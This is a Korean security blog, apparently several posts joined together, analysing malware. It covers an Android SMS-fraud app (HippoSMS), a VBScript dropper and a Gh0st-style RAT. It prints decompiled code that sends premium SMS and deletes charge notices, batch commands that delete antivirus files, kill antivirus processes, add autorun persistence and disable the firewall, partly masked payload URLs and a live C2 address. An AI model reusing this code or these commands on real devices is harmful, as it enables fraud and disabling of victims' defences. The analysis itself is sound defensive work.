중국에 있는 아는 사람이 악성코드 샘플을 분석하던 도중 막히는 부분이 있다며 도움을 요청 해 왔다.

공부를 목적으로 분석하는 도중 분석에 어려운 점이 많아 같이 해보자는 연락이었다.

요즘 안드로이드 공부도 하고 있어 재미있겠다 싶어 분석을 시도해 보았다.

분석 대상은 HippoSMS 라는 악성 앱인데 앱의 레이아웃이나 기능들을 보았을 때 겉으로는 음악파일 다운로드 등의 정상적인 앱의 기능으로 위장하고 있었다.

그러나 최종 목적은 SMS를 통하여 사용자 스마트폰의 추가 요금을 발생 시키고 추가 요금이 발생하면 우리나라도 마찬가지이지만, 중국도 추가 요금을 알리는 문자가 오는데 그 문자를 삭제하여 사용자가 추가 요금 발생을 알아차리지 못하도록 하는 것이었다.

악성 행위를 하는 코드는 의외로 간단하다.

일단 앱의 apk 파일을 디컴파일 해야 하는데 이 과정은 생략하고 제일 중요한 부분들만 설명하겠다.

앱을 디컴파일 하고 소스파일을 보면 다른 부분은 모두 앱에서 정상적인 기능을 하는 부분인데 정상적인 기능과 관련이 없어 보이는 sms라는 패키지가 존재한다.

[그림 1 - sms 패키지]

sms 패키지 안에는 3개의 클래스 파일이 있는데, 이 파일들이 악성 행위를 하는 코드를 포함하고 있다.

 - BootReceiver
 - CallContentObserver
 - MessageService


일단은 직관적으로 파악이 가능할 것 같은 MessageService 파일을 분석하여 보자.

해당 파일의 중요 부분만 주석을 달아 설명하도록 하겠다.

public class MessageService extends Service
{
  private int intCounter = 0;
  private Runnable mTasks = new Runnable()
  {
    public void run()
    {
      MessageService localMessageService = MessageService.this;
      localMessageService.intCounter = (1 + localMessageService.intCounter);
      Log.i("HIPPO", "Counter:" + Integer.toString(MessageService.this.intCounter));
      MessageService.this.objHandler.postDelayed(MessageService.this.mTasks, 10000L);
    }
  };
  private NotificationManager notificationManager;
  private Handler objHandler = new Handler();
  SharedPreferences sp; // UI의 상태 저장을 위한 SharedPreferences 객체 변수 sp 선언

  private void showNotification()
  {
    Notification localNotification = new Notification(2130837531, "后台运行中", System.currentTimeMillis());
    localNotification.flags = 2;
    Intent localIntent = new Intent(this, SplashActivity.class);
    localIntent.putExtra("FLG", 1);
    localNotification.setLatestEventInfo(this, "酷6视频", "后台运行中", PendingIntent.getActivity(this, 0, localIntent, 0));
    this.notificationManager.notify(2131034115, localNotification);
  }

  public String getData() // Calender 객체를 이용한 날짜 얻어오는 메소드
  {
    Calendar localCalendar = Calendar.getInstance();
    return localCalendar.get(1) + ":" + localCalendar.get(2) + ":" + localCalendar.get(5);
  }

  public IBinder onBind(Intent paramIntent)
  {
    return null;
  }

  public void onCreate()
  {
    this.notificationManager = ((NotificationManager)getSystemService("notification"));
    super.onCreate();
    this.sp = getSharedPreferences("sendsms", 3);
    getContentResolver().registerContentObserver(Uri.parse("content://sms"), true, new CallContentObserver(this, "10", null)); // sms의 상태 변경을 감시하는 역할 수행 지시
  }

  public void onDestroy()
  {
    this.notificationManager.cancel(2131034115);
    this.objHandler.removeCallbacks(this.mTasks);
    super.onDestroy();
  }

  public void onRebind(Intent paramIntent)
  {
  }

  public void onStart(Intent paramIntent, int paramInt)
  {
    this.objHandler.postDelayed(this.mTasks, 10000L);
    super.onStart(paramIntent, paramInt);
    Log.d(readTag(this.sp) + ".............................." + readTag(this.sp, "data", ""), getData());
/* readTage 메소드 값에 따라 저장되는 Tag 값이 달라지지만 악성코드 수행에는 영향을 미치지 않음.
    if (!readTag(this.sp, "data", "").equals(getData()))
    {
      sendsms("1066156686", "8", "", this); // 전화번호(1066156686)와 메시지(8)을 셋팅하여 sms를 보낸다.
      saveTag(this.sp, "data", getData(), 1);
    }
    else if (readTag(this.sp) < 3)
    {
      sendsms("1066156686", "8", "", this);
      saveTag(this.sp, "data", getData(), 1 + readTag(this.sp));
    }
*/
  }

  public boolean onUnbind(Intent paramIntent)
  {
    return false;
  }

  public int readTag(SharedPreferences paramSharedPreferences)
  {
    return paramSharedPreferences.getInt("size", 0);
  }

  public String readTag(SharedPreferences paramSharedPreferences, String paramString1, String paramString2)
  {
    return paramSharedPreferences.getString(paramString1, paramString2);
  }

  public void saveTag(SharedPreferences paramSharedPreferences, String paramString1, String paramString2, int paramInt)
  {
    SharedPreferences.Editor localEditor = paramSharedPreferences.edit();
    localEditor.putString(paramString1, paramString2);
    localEditor.putInt("size", paramInt);
    localEditor.commit();
  }

  public void sendsms(String paramString1, String paramString2, String paramString3, Context paramContext) // 실제 sms를 보내는 메소드
  {
    SmsManager.getDefault().sendTextMessage(paramString1, null, paramString2, PendingIntent.getBroadcast(paramContext, 0, new Intent("SMS_SENT"), 0), PendingIntent.getBroadcast(paramContext, 0, new Intent("SMS_DELIVERED"), 0));
  }

  public class LocalBinder extends Binder
  {
    public LocalBinder()
    {
    }

    public MessageService getService()
    {
      return MessageService.this;
    }
  }
}


MessageService라는 액티비티가 불려올 때마다 onStart() 메소드를 시스템에서 자동으로 호출하여 특정 전화번호로 sms를 보내게 된다.

이러한 동작으로 인해 요금이 발생하게 된다.

그런데 윗부분의 코드를 보면 sms의 상태를 감시하는 코드가 있었다. 왜 감시하는지 분석해보자.

 * 참고 : onCreate()는 액티비티가 생성 될 때 호출되는 시스템 메소드로 MessageService 액티비티가 생성 될 때 한번만 sms를 체크한다.

sms의 상태 변경을 감시 한다고 달아 놓은 주석 부분의 줄에서 실제 감시 역할을 수행하는 소스가 있는 부분은 아래와 같다.

new CallContentObserver(this, "10", null)

위 메소드는 악성 사용자가 만들어 놓은 클래스 파일(CallContentObserver)에 정의되어 있다.

public class CallContentObserver extends ContentObserver // ContentObserver는 어떠한 컨텐츠의 상태를 모니터링 하는 클래스이다.
{
  private static final String strUriInbox = "content://sms";
  private static final Uri uriSms = Uri.parse("content://sms");
  private Context context;
  private String phoneNum;

  public CallContentObserver(Context paramContext, String paramString, Handler paramHandler) // 이 부분이 호출 된다.
  {
    super(paramHandler);
    this.context = paramContext;
    this.phoneNum = paramString; // 10 이라는 숫자가 phoneNum 변수에 저장 된다.
  }

  public void onChange(boolean paramBoolean) // 모니터링 도중 컨텐츠의 변경이 감지되면 자동으로 호출되는 메소드
  {
    super.onChange(paramBoolean);
    Object localObject2 = this.context.getContentResolver();
    Object localObject1 = uriSms;
    Object localObject3 = new String[6];
    localObject3[0] = "_id";
    localObject3[1] = "thread_id";
    localObject3[2] = "address";
    localObject3[3] = "person";
    localObject3[4] = "date";
    localObject3[5] = "body";
    localObject2 = ((ContentResolver)localObject2).query((Uri)localObject1, localObject3, null, null, null);
    if ((localObject2 != null) && (((Cursor)localObject2).moveToFirst()))
    {
      localObject3 = ((Cursor)localObject2).getString(2);
      localObject1 = ((Cursor)localObject2).getString(0);
      if ((localObject3 != null) && (this.phoneNum != null) && (((String)localObject3).startsWith(this.phoneNum))) //  만약 sms 저장 목록에 10으로 시작하는 전화번호가 있다면
      {
        Log.d("ddddddddddddddddssssssssssssssss ssddddddddd", " dfsaaaaaaaaaaaaaaaaaaaaaaaa");
        this.context.getContentResolver().delete(uriSms, "_id=" + (String)localObject1, null); // 해당 sms를 지워버린다.
      }
      ((Cursor)localObject2).close();
    }
  }
}

지금까지의 행동을 살펴보면 악성 앱은 MessageService 액티비가 어디선가 호출되면 sms 목록을 체크하고 10으로 시작하는 전화번호가 있다면 해당 메시지를 지우고, 설정되어 있는 전화번호와 메시지를 토대로 sms를 보낸다.

이러한 행위로 인해 추가요금이 발생한다. 하지만 MessageService 액티비티를 어디서 호출하는 것일까?

마지막으로 BootReceiver 파일을 분석해보자.

public class BootReceiver extends BroadcastReceiver // BroadcastReceiver 상속으로 인해 백그라운드에 BootReceiver가 동작하게 된다.
{
  public void onReceive(Context paramContext, Intent paramIntent) // 만약 시스템이 보내는 모든 브로드캐스팅 메시지를 받게 되면
  {
    Intent localIntent = new Intent("android.intent.action.RUN");
    localIntent.setClass(paramContext, MessageService.class); // MessageService를 서비스 클래스로 설정한다.
    localIntent.setFlags(268435456);
    paramContext.startService(localIntent); // MessageService로 설정 된 서비스를 시작한다.
    if ("android.provider.Telephony.SMS_RECEIVED".equals(paramIntent.getAction())) // 받은 데이터가 SMS 인지 확인
      paramContext.getContentResolver().registerContentObserver(Uri.parse("content://sms"), true, new CallContentObserver(paramContext, "10", null)); // sms 삭제 코드 호출
  }
}

위의 코드를 간단히 설명하면, 해당 앱은 브로드캐스트 메시지 수신자를 백그라운드에 존재하게 하고 시스템이 브로드 캐스트 메시지를 보내면 추가 요금 발생 클래스(MessageService)를 서비스로 만들어 시작시키고 받은 브로드 캐스트 메시지가 sms라면 받은 sms를 지운다.

최종적으로 해당 앱은 앱이 종료되어도 계속 시스템의 브로드캐스팅 메시지를 수신 할 수 있고 브로드 캐스팅 메시지가 수신 될 때마다 추가요금이 발생하며 추가 요금을 알리는 메시지가 올 경우 sms 목록에서 해당 메시지를 지운다.

분석 도중 중국인 친구가 말해준 이야기인데 10으로 시작하는 번호는 휴대전화 업체의 추가 요금 알리미 전화번호라고 한다.

분석 도중 안드로이드 앱 개발에서 배우는 브로드캐스트 등의 용어가 나와 이해하기에 조금 어려운 면이 있지만 나름 쉽게 쓴다고 썼으니 이해해 주기 바란다.

 
너무너무 궁금해서 결국 분석환경에서 간단히 어떠한 동작을 하는지 보았다.

온라인 게임 계정탈취 악성코드는 아닌듯 하고,  200~으로 시작하는 파일이 Alcrm32.exe파일을 Drop해 실행시킨다.

또, logo09.exe파일은 레지스트리 중 Ahnlab Tray 레지스트리에 자신을 등록하게 삭제 된다.

나머지 파일 하나는 그냥 백도어 프로그램 이다.. 

 그리고 나서 200~ 파일은 인터넷 접속을 시도 하고, site/main/b.txt를 받으려고 하나 해당 사이트에서 조치가 취해졌는지 파일이 없어 다운받지 못하고 404 페이지만 서버로부터 받는다.


[그림 1 - 패킷 스트림 모습]
 
해당 사이트는 현재 공사중이라고 표시되고 b.txt 파일은 다운로드 되지 않으므로 주소를 공개한다.

과연 저 b.txt파일에는 뭐가 들어있을까? ㅋㅋ 

  1. 익명 2013.05.11 20:37

    비밀댓글입니다

네이버 지식인 모니터링 중 어떤 질문자가 다급하게 링크를 올리며 질문을 했던 적이 있었다(SIS 공부 기간에)

네이트온 쪽지로 이상한 URL이 왔다고 알아봐 달라는 질문 이었다.

바로 URL로 들어가니 어떠한 파일을 다운받는 링크가 나왔고 다운 받으니 word.vbe라는 VB Script 파일이었다.

네이트온 쪽지로 왔으니 악성코드가 맞는 것은 100% 일 것!!

하지만, 그때는 공부중이어서 분석을 하지 못했고, 오늘에서야 분석을 하게 되었다.

분석시간이 너무 걸려 중간에 그만 뒀지만 그래도 공부는 됬을거라 생각 된다.

바이러스 토탈로 검사 해 본 결과로는 많은 AV에서 탐지하지 못하고 있다는 것이다.

바이러스 토탈에서 이 악성코드를 탐지하는 AV는 4개정도밖에 없었다.


인증샷을 보여주고 싶지만, 현재 바이러스 토탈이 무슨 문제인지 접속이 되질 않는다.. ㅠㅠ

일단 해당 악성코드를 실행하면 아래와 같은 동작을 한다.

 


[그림 1 - 실행 실패]
무언가 파일들을 실행하려 하지만 실행이 되지 않는다. 

처음에는 분석환경이 실행조건에 맞지 않아서 그런 줄 알았으나, 알고보니 파일들이 0바이트 였다...

아무런 코드도 없는 쓰레기 파일들이었다.

그리고 PE로 프로세스를 보니 ping 프로세스가 실행되어 있었다. 자세히 보니 루프백으로 ping을 10개 날리고 있었다.

그 다음으로는 아무런 동작도 하지 않는 것처럼 조용하다.... 그러나 프로그램은 아래와 같은 파일들을 생성한다.

[그림 2 - 생성 파일들]

[생성파일]


C:\WINDOWS\help\wincari.exe                            // 쓰레기 파일

C:\time.txt                                                            // 로컬컴퓨터의 날짜와 시간을 저장하는 텍스트 파일

C:\WINDOWS\Web\ver.exe                                  // 쓰레기 파일

C:\WINDOWS\system32\winfacet.exe                   // 쓰레기 파일

C:\WINDOWS\system32\Alcrm32.exe                   // 확인 불가...

C:\WINDOWS\v.bat                                              // 쓰레기 파일들을 실행시키는 등에 행위를 하는 배치파일

C:\WINDOWS\va.bat                                            // 알약AV와 V3AV를 디버깅 하도록 명령을 내리는 배치파일


아래는 위에서 생성된 v.bat 파일과 va.bat 파일의 내용이다.


[v.bat]


%systemroot%\Web\ver.exe                                   // ver.exe 실행

%systemroot%\system32\winfacet.exe                    //  winfacet.exe 실행

del "%ProgramFiles%\ESTsoft\*.*" /f /s /q               // ESTosft 하위 폴더와 파일 모두 강제 삭제


del "%ProgramFiles%\AhnLab\*.*" /f /s /q               // AhnLab 하위 폴더와 파일 모두 강제 삭제


ping 127.0.0.1 -n 10>nul                                            // 화면에 보이지 않게 nul로 출력

reg add HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN /v MyRun /d  %systemroot%\system32\Alcrm32.exe /f               // 레지스트리에 Alcrm32.exe 등록

date <c:\time.txt

del c:\time.txt

del %systemroot%\v.bat                                         // 모든 작업을 끝마치고 자신을 삭제


===============================================================================================================


[va.bat]


tasklist | findstr "V3LSvc.exe" && ntsd -c q -pn V3LSvc.exe                   // V3 프로세스르 찾은 뒤 디버깅

tasklist | findstr "V3LSvc.exe" && ntsd -c q -pn V3LSvc.exe

tasklist | findstr "AYServiceNT.aye" && ntsd -c q -pn AYServiceNT.aye  // 알약 프로세스를 찾은 뒤 디버깅 


해당 악성코드는 아래와 같은 레지스트리 변경작업을 실행한다.

[레지스트리 변경 항목]


HKLM\SYSTEM\CurrentControlSet\Service\SharedAccess\Start
old value : 2
New Value : 3
 

HKLM\SYSTEM\CurrentControlSet\Service\SharedAccess\Epoch\Epoch
Old Value : 32
New Value : 33
 

HKLM\SYSTEM\ControlSet001\Service\SharedAccess\Start
Old Value : 2
New Value : 3
 

HKLM\SYSTEM\ControlSet001\Service\SharedAccess\Epoch\Epoch
Old Value : 32
New Value : 33
 

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-19\RefCount
Old Value : 2
New Value : 1
 

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Run
Old Value : 5
New Value : 7
 

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Run\ver.exe
실행결과 : ver.exe 레지스트리 등록


HKLM\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Run\MyRunC:\WINDOWS\system32\Alcrm32.exe 실행결과 : Alcrm32.exe 레지스트리 등록
 

HKLM\SOFTWARE\Microsoft\WBEM\CIMON
Old Value : 44
New Value : 47
 

HKLM\SOFTWARE\Microsoft\WBEM\CIMONHKLM\SOFTWARE\Microsoft\WBEM\CIMON\Merger Throttling Threshold

실행결과 : Merger Throttling Threshold 생성 후 value 10으로 설정
 

HKLM\SOFTWARE\Microsoft\WBEM\CIMON\Merger Release Threshold
실행결과 : Merger Release Threshold 생성 후 value 5로 설정
 

HKLM\SOFTWARE\Microsoft\WBEM\CIMON\Merger Batching Threshold 생성 후 value 131072로 설정
실행결과 : Merger Batching Threshold 생성 후 value 131072로 설정
 

HKLM\SOFTWARE\Microsoft\Rpc\UuidSequenceNumber
Old Value : -522910999
New Value : -522910998

 

HKLM\SOFTWARE\Microsoft\Cryptography\RNG\Seed value 수정
실행결과 : Seed Value 수정


해당 악성코드는 아래와 같이 서비스도 수정한다.

[Drirver]
 

IP Network Address Translator(NAT) 기능 Stop                       // NAT 기능 OFF

Microsoft Kernel Wave Audio Mixer 기능 Stop



[Win32]


Application Layer Gateway Service 기능 Stop                          // OSI 7계층 서비스 게이트웨이 서비스 OFF

Windows Firewall/Internet Connection Sharing(ICS) 기능 Stop   // 방화벽, 공유 기능 OFF


이 모든 행동과 함께 인터넷이 연결되어 있다면 아래와 같이 특정 사이트에서 파일을 다운로드 한다.

[악성파일 추가 다운로드 - 아직도 다운로드가 가능하므로 주소는 모두 공개 하지 않음]

jrcrxxxx.co.kr(211.xxx.111.xxx) /%69%6D%61%67%65%73/%62%61%6E%6E%65%72/%6C%6F%67%6F%73%77%69%73%68.%6A%70%67   (/images/banner/logoswish.jpg)


www.heavexxxx.co.kr(116.xxx.158.xxx) /%73%68%6F%70/%69%6D%67/%6D%61%69%6E/%6C%6F%67%6F%30%39.%67%69%66   (/shop/img/main/logo09.gif)


jjknew.firsxxxxx.kr(121.xxx.114.xxx) /%70%61%72%74%6E%65%72/%65%73%65%6C%6C%65%72%73/%74%6D%70/%32%30%30%38%31%30%30%32%31%36%34%38%62%39%39.%67%69%66   (/partner/esellers/tmp/200810021648b99.gif)

패킷을 캡쳐해서 보면 URL 인코딩으로 되어 있는데 그것을 복호화하면 ()안에 주소가 나온다. 


하지만 내 노트북에서는 노튼이 알아서 다 처리해주어... backtrack5에서 wget으로 수동으로 다운로드 하였다.


[그림 3 - jrcrxxxx.co.kr에서 다운 받는 모습]


[그림 4 - jjknew.firsxxxxx.kr에서 다운 받는 모습]


[그림 5 - www.heavexxxxx.co.kr에서 다운 받는 모습]

이미지에서 볼수 있듯이 받는 파일들은 확장자만 이미지파일 확장자 일뿐, 실제로는 윈도우 exe 파일들이다.

어떠한 악위적인 행위를 하는지는 분석을 여기서 중단하여 모른다.(다시 이 파일들을 분석 환경으로 옴기고 등등을 하기가 너무 귀찮네요... ㅠㅠ)

한시라도 빨리 모든 백신에 치료패턴이 추가 되었으면 한다.

[+] 해당 악성코드 샘플을 얻고 싶으신 백신업체 관계자 분들은 연락주시면 바로 쏴드립니다. ^^


(2011. 12. 14 추가) - 바이러스 토탈 결과
AntivirusVersionLast UpdateResult
AhnLab-V3 2011.12.12.00 2011.12.12 -
AntiVir 7.11.19.98 2011.12.13 -
Antiy-AVL 2.0.3.7 2011.12.13 -
Avast 6.0.1289.0 2011.12.13 VBS:Agent-MC [Trj]
AVG 10.0.0.1190 2011.12.13 JS/Heur
BitDefender 7.2 2011.12.14 -
ByteHero 1.0.0.1 2011.12.07 -
CAT-QuickHeal 12.00 2011.12.13 -
ClamAV 0.97.3.0 2011.12.13 -
Commtouch 5.3.2.6 2011.12.13 -
Comodo 10947 2011.12.14 UnclassifiedMalware
DrWeb 5.0.2.03300 2011.12.13 -
Emsisoft 5.1.0.11 2011.12.13 Virus.JS.Heur!IK
eSafe 7.0.17.0 2011.12.13 -
eTrust-Vet 37.0.9622 2011.12.13 -
F-Prot 4.6.5.141 2011.12.13 -
F-Secure 9.0.16440.0 2011.12.13 -
Fortinet 4.3.388.0 2011.12.13 -
GData 22 2011.12.13 VBS:Agent-MC
Ikarus T3.1.1.109.0 2011.12.13 Virus.JS.Heur
Jiangmin 13.0.900 2011.12.13 -
K7AntiVirus 9.119.5671 2011.12.13 -
Kaspersky 9.0.0.837 2011.12.13 HEUR:Exploit.Script.Generic
McAfee 5.400.0.1158 2011.12.13 -
McAfee-GW-Edition 2010.1E 2011.12.13 -
Microsoft 1.7903 2011.12.13 -
NOD32 6709 2011.12.13 -
Norman 6.07.13 2011.12.13 -
nProtect 2011-12-13.01 2011.12.13 -
Panda 10.0.3.5 2011.12.13 -
PCTools 8.0.0.5 2011.12.14 -
Prevx 3.0 2011.12.14 -
Rising 23.88.01.02 2011.12.13 -
Sophos 4.72.0 2011.12.13 -
SUPERAntiSpyware 4.40.0.1006 2011.12.14 -
Symantec 20111.2.0.82 2011.12.14 -
TheHacker 6.7.0.1.356 2011.12.11 -
TrendMicro 9.500.0.1008 2011.12.13 -
TrendMicro-HouseCall 9.500.0.1008 2011.12.14 -
VBA32 3.12.16.4 2011.12.13 -
VIPRE 11249 2011.12.14 -
ViRobot 2011.12.13.4823 2011.12.13 -
VirusBuster 14.1.114.0 2011.12.13 -
Additional information
MD5   : 136014f57b25249e60fb4ce1dc74e1dc
SHA1  : 4efec04d655b3c641c2cd21525175549395e1e1a
SHA256: b95635c202835fffea89c28f20d15eb94770b5b041d201439ff4f9ebf7e591fa
ssdeep: 96:f7BCqrj4UWUzDqNfY9RynI7I/7qTRzPYyCtZ01TkCGfhwHYBIIJPC80u6u:TAqrGsGYvoI7E
76zVOjWYBIIPC8X
File size : 4862 bytes
First seen: 2011-12-11 08:24:20
Last seen : 2011-12-13 23:47:16
 

오랜만에 네이버 스팸필터에 걸리지 않는 메일이 나에게 도착했다.

메일 내용은 아래와 같다.

그는 해외 문제에 있사령관으로 임명향으로 돌아갈 의 건국과 혁명에 있는 자신의 기갈기 찢겨진 현 국가를 만들고자  해에, 그는 영

인 덕목을 주제로 하는 기본 입문서와 인적인 삶을 영했으며, 이에 따라 에 체결된 제이 조그는 세계에서 가추진하는 과정에서 대통령 중 하나로 여에 체결된 제이 조 경고와 공화주의도 하였다. 그의그는 세계에서 가하여 필라델피아 적인 중립 선언으적인 중립 선언으도 하였다. 그의

<fORM f action=//so.ee/OQ1>
<INpUT g tYPe="SUbmiT" vALue="잠시후에 만날래요 뭐든지 다해드려요"       style="font-size:18pt;>


딱 봐도 스팸인데 왜 필터가 안되었는지는 폼 코드를 보면 알 수 있다. 네이버는 아직 저런 코드는 필터하지 못하는 모양이다.

아니면 script만 차단하는걸지도..

무튼 저 버튼을 클릭하면 so.ee/OQ1 주소로 이동하게 된다. 해당 주소를 wget으로 긁어오면 아래와 같은 소스의 페이지가 생성된다.

<html>

    <head>

        <title>로딩중입니다.</title>

    </head>

<script language="JavaScript">

window.onload = maxWindow;


function maxWindow()

{

window.moveTo(0,0);



if (document.all)

{

  top.window.resizeTo(screen.availWidth,screen.availHeight);

}


else if (document.layers||document.getElementById)

{

  if (top.window.outerHeight<screen.availHeight||top.window.outerWidth<screen.availWidth)

  {

    top.window.outerHeight = screen.availHeight;

    top.window.outerWidth = screen.availWidth;

  }

}

}

</script>

잠시만 기다려주시면 연결될것입니다.

    <body>

        <p>

        <meta content="0;URL=http://ssb102.com/ad/m/b1/" http-equiv="Refresh" /></p>

</a> 

<script src=http://oncgi.com?TVRJNU5ERTBPREkzTUE9PQ==> </script>

</body>

</html>


페이지를 실행해보지는 않았지만 뭔가를 연결하는 듯한 모습이다.

 의심스러운 URL이 두개가 보인다. 하나하나 조사를 해보자.

[http://ssb102.com/ad/m/b1/ URL을 wget으로 긁어온 결과]

<HTML>

<HEAD>

<TITLE>XX파트너 미팅 전문사이트</TITLE>

<META NAME="Generator" CONTENT="EditPlus">

<META NAME="Author" CONTENT="">

<META NAME="Keywords" CONTENT="">

<META NAME="Description" CONTENT="">

<meta http-equiv='content-type' content='text/html; charset=euc-kr'> 

</HEAD>


<BODY>

<table><tr><td>

<p><a target="_blank" href="http://ssb102.com">

<img alt="" width="615" height="762" src="http://ssb102.com/ad/m/b1/aaa.jpg" /></a>

</p>

<!-- <center><font size=15> <U><A HREF="http://ssb102.com"><b>사이트 바로 입장하기</A></U> </font></center>

 -->

</td></tr></table>


</BODY>

</HTML> 


결국은 성인사이트였다..

[http://oncgi.com?TVRJNU5ERTBPREkzTUE9PQ== URL을 wget으로 긁어온 결과]

document.write("<a href=http://lvskr2.oncgi.com/counter_html/user.php?VFZSSk5VNUVSVEJQUkVrelRVRTlQUT09LjExOS4yMDUuMjQuMTY0 target=_blank>");

document.write("<img alt=oncgi.com src=http://lvskr2.oncgi.com/counter_html/jin.php?VFZSSk5VNUVSVEJQUkVrelRVRTlQUT09LjExOS4yMDUuMjQuMTY0 border=0></a>"); 


무언가 링크를 걸고 있다. 다시 한번 긁어와 보자(두번째 URL은 방문자수 카운터 이미지를 불러오는 링크라 특별히 포스팅 하지 않도록 하겠다.)

[http://lvskr2.oncgi.com/counter_html/user.php?VFZSSk5VNUVSVEJQUkVrelRVRTlQUT09LjExOS4yMDUuMjQuMTY0 URL을 wget으로 긁어온 결과]

<script>location.replace('http://oncgi.com/counter_html/review_daily.html?VFZSSk5VNUVSVEJQUkVrelRVRTlQUT09LjExOS4yMDUuMjQuMTY0');</script>


뭔가 또 URL을 걸어놨다... 끝까지 한번 가보자.
 

[http://oncgi.com/counter_html/review_daily.html?VFZSSk5VNUVSVEJQUkVrelRVRTlQUT09LjExOS4yMDUuMjQuMTY0 URL을 wget으로 긁어온 결과]

<SCRIPT LANGUAGE=JavaScript>

<!--//

location.replace('http://oncgi.com/counter_html/click.html?hun=VFZSSk5VNUVSVEJQUkVrelRVRTlQUT09LjExOS4yMDUuMjQuMTY0');

//-->

</SCRIPT>

</head>

<a href=http://oncgi.com/counter_html/click.html?hun=VFZSSk5VNUVSVEJQUkVrelRVRTlQUT09LjExOS4yMDUuMjQuMTY0>Click Me</a>

 
 똑같은 URL이다. 클릭해달라는 URL을 나는 wget으로 긁어왔다.

[http://oncgi.com/counter_html/click.html?hun=VFZSSk5VNUVSVEJQUkVrelRVRTlQUT09LjExOS4yMDUuMjQuMTY0 URL을 wget으로 긁어온 결과 중 일부]

<!------------------------------------------------------------------------------

--

 *                                                                              

 *

 *     하나비 무료 도메인 V2006                                                 

 *

 *                                                                              

 *

 *                              (Update: 2005.08.06/ 2005.07.29/ 1996.07.04)    

 *

 *                                                                              

 *

 *      Official distribution site : http://hanaB.com/                          

 *

 *                                                                              

 *

 *                                                                              

 *

 *               Technical contact : webmaster@timeserver.co.kr                 

 *

 *                                                                              

 *

 *                                                                              

 *

 *                      Programmer : zeno bark                                  

 *

 *                                                                              

 *

 *     Copyright(c) 1996-2011. hanaB.com(zeno bark). all rights reserved.       

 *

 *                                                                              

 *


 

결국 해당 메일은 성인사이트, 도메인 광고...

악성코드에 관련된 스팸메일이었으면 좀 더 심도있는 분석이 되었을텐데, 그런 스팸이 아니어서 조금은 실망이었다. 
네이버 지식인을 둘러보던 중 어떤 질문자가 네이트온 쪽지 악성코드 다운로드 URL을 링크 시켜놨길래 언능 받아 분석을 해보았다.

 VirusTotal로 보니 벌써 일부 백신에서는 감지를 하고 있는 파일이었다.

 
그래도 오랜만에 분석도 해볼겸 VM에 구축해놓은 환경으로 옴긴 뒤 분석을 시도 하였다.

악성코드 파일에 기본 정보

 
Ghost Security라는 보안회사로 속이고 있다. 어이가 없을 뿐.

파일에 행동과, 코드를 보기 위해 Filemon, OllyDBG를 켜놓은 상태에서 해당 악성코드 파일을 실행했을 때 아래와 같은 이미지에 경고 문구가 등장하면서 실행이 되지 않는다.

OllyDBG 켜놓았을 때
 

 FileMon 켜놓았을 때
 
대부분의 글씨가 깨져서 알아볼수는 없지만(어차피 중국어니까 못알아보는) 대충 이해했을 때 FileMon/RegMon, OllyDBG가 켜져있다고 화를 내는거 같다.

안티 코드가 들어있는 듯!

파일이 원하는대로 모두 종료하고 파일을 실행시키면 특정 서비스를 레지스트리에 등록시킨 후 해당 파일을 제거 된다.


서비스 등록된 화면

 Process Explorer로 보면 아래와 같이 위 이미지에 이상한 문자열로 서비스를 등록시켜 아래와 같은 svchosts.exe 파일로 실행시킨다.

 서비스 구동 화면
 
 해당 서비스가 어떠한 네트워크 동작을 하고 있는지 TCPView로 확인환 결과 
 204.45.118.114:6464에 연결되어있다.
 

특정서버에 연결 확인 화면
 
와이어샤크로 어떠한 패킷이 오고가는지 확인한 결과 
Gh0st 라는 문자열이 보내어지는데 왜 보내지고 받는지는 알 수 없었다.

 

보내어지는 패킷 내용
 

* 해당 악성코드 수동 치료 방법!

1. 아래 이미지와 같이 등록되어 있는 서비스를 '사용안함'으로 설정!



2. 위 Path 수동 삭제!

3. 악성코드가 생성한 레지스트리 수동 삭제!(아래는 악성코드가 생성한 레지스트리) 



4. 변경된 기존 레지스트리를 다시 원상복구하기 위해 수정!
   HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RemoteAccess

   변경 전 : Start = 4
   변경 후 : Start = 3 
   
변경 전 : Type = 20

   변경 후 : Type = 110


   HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RemoteAccess\RouterManagers\Ip

   변경 전 : %SystemRoot%\System32\iprtrmgr.dll

   변경 후 : C:\XXXXXXXX.dll
   ※ XXXXX : 랜덤한 숫자.

5. 완전한 치료를 위해 각 컴퓨터에 사용중인 백신으로 정밀검사 실시! 


오랜만에 재밌는 분석해서 기분이 좋다!

악성코드 샘플을 많이 얻을 수 있다면 얼마나 좋을까~

  1. Favicon of http://blog.naver.com/taiga800 BlogIcon 타이가 2011.12.01 02:14

    뭔가 많이 흥미롭군요.

  2. 알 수 없는 사용자 2012.01.18 14:56

    짱개산 RAT 한종류네여 ^^ 와샥에서 패킷 내보내는것은 감염을 알리는 health check 의 일종일듯 싶네요 ^^

    • Favicon of https://maj3sty.tistory.com BlogIcon MaJ3stY 2012.01.18 19:31 신고

      아 감염을 알리는... 그럴수도 있겠네요 ㅎㅎ

      엄청난 고수시군요 :)

+ Recent posts